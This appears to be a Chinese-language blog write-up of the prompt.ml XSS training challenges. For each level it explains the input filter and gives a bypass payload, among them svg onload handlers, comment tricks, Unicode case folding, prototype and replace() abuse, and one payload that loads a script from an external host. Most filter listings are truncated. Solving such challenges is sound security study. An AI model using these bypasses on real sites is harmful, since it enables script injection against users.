最近搞了一下XSS,JavaScript和HTML里面的一些特性非常有趣。
题目地址:http://prompt.ml/
Challenge 0
1 | function escape(input) { |
没有任何过滤。
payload1
"><svg onload=prompt(1)>
Challenge 1
1 | function escape(input) { |
只是过滤了个>
payload1
<svg onload=prompt(1)//
Challenge 2
1 | function escape(input) { |
过滤了=(
,由于xml编码特性,在svg向量中的<script>
元素,会先进行xml解析。因此(
(十六进制)或者(
(十进制)或者(
(html实体编码)会被还原成(
。
payload1
<svg><script>prompt(1)</script>
(chrome必须闭合,firefox和IE可以不闭)
Challenge 3
1 | function escape(input) { |
过滤了->
,但是,可以用--!>
payload1
--!><img src onerror=prompt(1)>
或是1
--!><svg onload=prompt(1)>
Challenge 4
1 | function escape(input) { |
这个题目是利用url的特性绕过,浏览器支持这样的url:http://user:password@attacker.com 。但是http://user:password/@attacker.com 是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com 。所以域名越短,答案就越短。
payload1
//prompt.ml%2f@qq.com
这题有点迷,本地过不了。
Challenge 5
1 | function escape(input) { |
过滤掉了>
和on*=
和focus
,可以用换行来绕过。
payload1
2" type=image src onerror
="prompt(1)
Challenge 6
1 | function escape(input) { |
这题用到了一个很经典的问题。
比如说,有一个form
表单,action=balabala
,但,如果form
里面有个input
的name
也叫action
,name
获取这个form
的action
的时候,获取到的会是这个input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Test</title>
<body>
<form action="balabala">
<input type="" name="action">
</form>
<script type="text/javascript" >
console.log(document.forms[0].action)
</script>
</body>
</html>
结果会是
payload1
javascript:prompt(1)#{"action":1}
Challenge 7
1 | function escape(input) { |
用js的/* */
注释符来解决。
payload1
"><svg a='#' onload='/*#*/prompt(1)'
这样,html source就变成1
2
3<p class="comment" title=""><svg a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
可以说非常优雅了
Challenge 8
这题有点费解,关键是如何换行
过滤了换行、斜线、双引号、左尖括号1
2
3
4
5
6
7
8
9
10function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
查了一下,
payload1
prompt(1)-->
但是如果直接手打prompt(1) - ->
是不行的,然后,如果按原样复制,markdown不支持,hexo会报错,不知为何。
实在是很迷啊。
Challenge 9
1 | function escape(input) { |
首先,正则表达式过滤了所有的tag,toUpperCase()
是支持unicode函数的。
比如:字符ſ经过函数toUpperCase()
处理后,会变成ASCII码字符”S”
payload1
<ſcript/ſrc=//⒕₨></ſcript>
或者使用async1
<ſcript/async/src=//⒛₨>
HTML的标签名和属性名并不区分大小写,async规定脚本将被异步执行。
Challenge A
1 | function escape(input) { |
这题过滤了prompt
和单引号,easy
(一开始还以为用了空格替换掉单引号(╯°□°)╯︵ ┻━┻)
payload1
p'rompt(1)
Challenge B
1 | function escape(input) { |
过滤了不可见字符和几乎所有的特殊符号,这里可以用in,in一般用来判断制定的属性是否在指定的对象中(不能对普通数组用)
payload1
"(prompt(1))in"
Challenge C
1 | function escape(input) { |
这题跟Challenge A 有点像,但是先过滤’再过滤prompt
,需要用函数来做。
payload1
eval((1558153217).toString(36))(1)
或是1
eval((630038579).toString(30))(1)
Challenge D
1 | function escape(input) { |
这里涉及到JavaScript的arguments
用法,比如,test是一个函数,那么argument
就是传入test函数的参数对象
如图清晰地表达出了各种东西是什么
这个题目还涉及到js中的__proto__
,每个对象都会在其内部初始化一个属性,就是__proto__
,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__
里面找这个属性,这个__proto__
又会有自己的__proto__
,一直这样找下去,如图
另外,replace函数还有些特性
$`替换查找的字符串,并且在头部加上比配位置前的字符串部分,例如
payload1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
第一个source,在delete的时候被删掉了,然后,在__proto__
里面也弄一个对象,里面也有个source,其中$`使得会在头部加上<img src="
,这样,代码就会变成1
<img src="<img src="onerror=prompt(1)>">
ok。
Challenge E
1 | function escape(input) { |
(\w用于查找非单词字符)
payload1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
迷。
Challenge F
1 | function escape(input) { |
这里过滤了*号,所以不能用js的注释符,but,HTML里面的还可以在js里面使用
payload1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
这个,其实我在本地测试是过不了的,貌似注释符会失效。
Hidden Level
1 | function escape(input) { |
过滤掉了}<
。
这里用到了一个点,js的history
对象是用来保存浏览历史的,history.length
可以返回浏览器历史列表中的URL数量。常见的“返回上一页”链接,代码如下。1
2
3document.getElementById('backLink').onclick = function () {
window.history.back();
}
还需要用到replace()的另一个技巧:$&
可以看到,匹配到之后是追加到后面的。
payload
THE END